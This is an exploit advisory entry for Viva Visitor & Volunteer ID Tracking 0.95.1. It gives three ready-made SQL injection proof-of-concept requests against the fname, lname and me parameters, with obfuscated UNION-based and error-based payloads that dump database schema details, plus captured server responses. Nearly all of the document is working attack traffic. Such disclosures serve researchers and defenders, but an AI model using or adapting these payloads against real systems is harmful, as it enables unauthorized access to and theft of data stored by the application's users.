Viva Visitor & Volunteer ID Tracking 0.95.1 - 'fname' SQL Injection

# Exploit Title: Viva Visitor & Volunteer ID Tracking 0.95.1 - 'fname' SQL Injection
# Dork: N/A
# Date: 2018-10-19
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://viva-visitor.sourceforge.io/
# Software Link: https://sourceforge.net/projects/viva-visitor/files/latest/download
# Version: 0.95.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/repeat_verify-n.php
# Post / fname=[SQL]

POST /[PATH]/repeat_verify-n.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 516
fname=%22%22%27%27%27%20UniON%20SelECt%20nuLL%2cnuLL%2cCoNCat((selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x))%2cnuLL%2cnuLL%2cnuLL%2cnuLL%2cnuLL%2cnuLL--%20Efe
HTTP/1.1 200 OK
Date: Fri, 19 Oct 2018 20:58:30 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=3dc6r9l1ufi6bt2ngfedu84i92; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3175
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/repeat_verify-n.php
# Post / lname=[SQL]

POST /[PATH]/repeat_verify-n.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3dc6r9l1ufi6bt2ngfedu84i92
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
lname=%'%20anD%20(SELecT%20112%20FRom(SelECT%20COunT(*),COncAT(version(),(SElecT%20(Elt(112=112,1))),dataBAse(),FLooR(RAnD(0)*2))x%20FroM%20INforMATIon_SCheMA.PluGINS%20GRouP%20By%20x)a)%20AnD'%'='
HTTP/1.1 200 OK
Date: Fri, 19 Oct 2018 21:03:13 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 817
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 3)
# http://localhost/repeat_verify.php?me=[SQL]

GET /[PATH]/repeat_verify.php?me=1%20UNION%20SeLECt%20NuLl%2cNuLl%2cCOnCaT((selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x))%2cNuLl%2cNuLl%2cNuLl%2cNuLl%2cNuLl%2cNuLl--%20Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3dc6r9l1ufi6bt2ngfedu84i92
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 19 Oct 2018 21:13:06 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2714
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8